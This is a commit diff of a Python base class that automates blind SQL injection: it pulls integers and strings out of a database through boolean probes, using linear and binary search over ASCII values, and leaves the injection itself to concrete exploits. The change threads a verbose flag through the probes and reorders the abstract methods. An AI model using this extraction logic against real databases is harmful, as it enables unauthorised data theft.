@@ -22,24 +22,23 @@ def extract_int(self, column: str, table=None, condition=None, offset=None, verb
22
22
23
23
if not binary_search :
24
24
cur_int = 1
25
- while self .blind_sqli (f"({ query } )>{ cur_int } " ):
25
+ while self .blind_sqli (f"({ query } )>{ cur_int } " , verbose ):
26
26
cur_int += 1
27
27
28
28
return cur_int
29
29
else :
30
30
min_value = 1
31
31
max_value = 1
32
32
33
- while self .blind_sqli (f"({ query } )>{ max_value } " ):
33
+ while self .blind_sqli (f"({ query } )>{ max_value } " , verbose ):
34
34
min_value = max_value + 1
35
35
max_value = max_value * 2
36
36
37
- max_value = max_value - 1
38
37
while True :
39
38
cur_int = (min_value + max_value ) // 2
40
- if self .blind_sqli (f"({ query } )>{ cur_int } " ):
39
+ if self .blind_sqli (f"({ query } )>{ cur_int } " , verbose ):
41
40
min_value = cur_int + 1
42
- elif self .blind_sqli (f"({ query } )<{ cur_int } " ):
41
+ elif self .blind_sqli (f"({ query } )<{ cur_int } " , verbose ):
43
42
max_value = cur_int - 1
44
43
else :
45
44
return cur_int
@@ -67,7 +66,7 @@ def extract_string(self, column: str, table=None, condition=None, offset=None, m
67
66
found = False
68
67
query = self .build_query (f"ascii(substr({ column } ,{ len (cur_str ) + 1 } ,1))" , table , condition , offset )
69
68
for c in charset :
70
- if self .blind_sqli (f"({ query } )={ ord (c )} " ):
69
+ if self .blind_sqli (f"({ query } )={ ord (c )} " , verbose ):
71
70
found = True
72
71
cur_str += c
73
72
if verbose :
@@ -93,20 +92,22 @@ def extract_multiple_strings(self, column: str, table=None, condition=None, verb
93
92
94
93
return rows
95
94
95
+ # Following methods need to be implemented in the exploit
96
96
@abstractmethod
97
- def get_database_version (self , verbose = False ):
97
+ def blind_sqli (self , condition : str , verbose = False ) -> bool :
98
98
pass
99
99
100
+ # Following methods will be implemented by MySQLi, PostgreSQLi, ...
100
101
@abstractmethod
101
- def get_current_user (self , verbose = False ):
102
+ def get_database_version (self , verbose = False ):
102
103
pass
103
104
104
105
@abstractmethod
105
- def get_current_database (self , verbose = False ):
106
+ def get_current_user (self , verbose = False ):
106
107
pass
107
108
108
109
@abstractmethod
109
- def blind_sqli (self , condition : str , verbose = False ) -> bool :
110
+ def get_current_database (self , verbose = False ):
110
111
pass
111
112
112
113
@abstractmethod
0 commit comments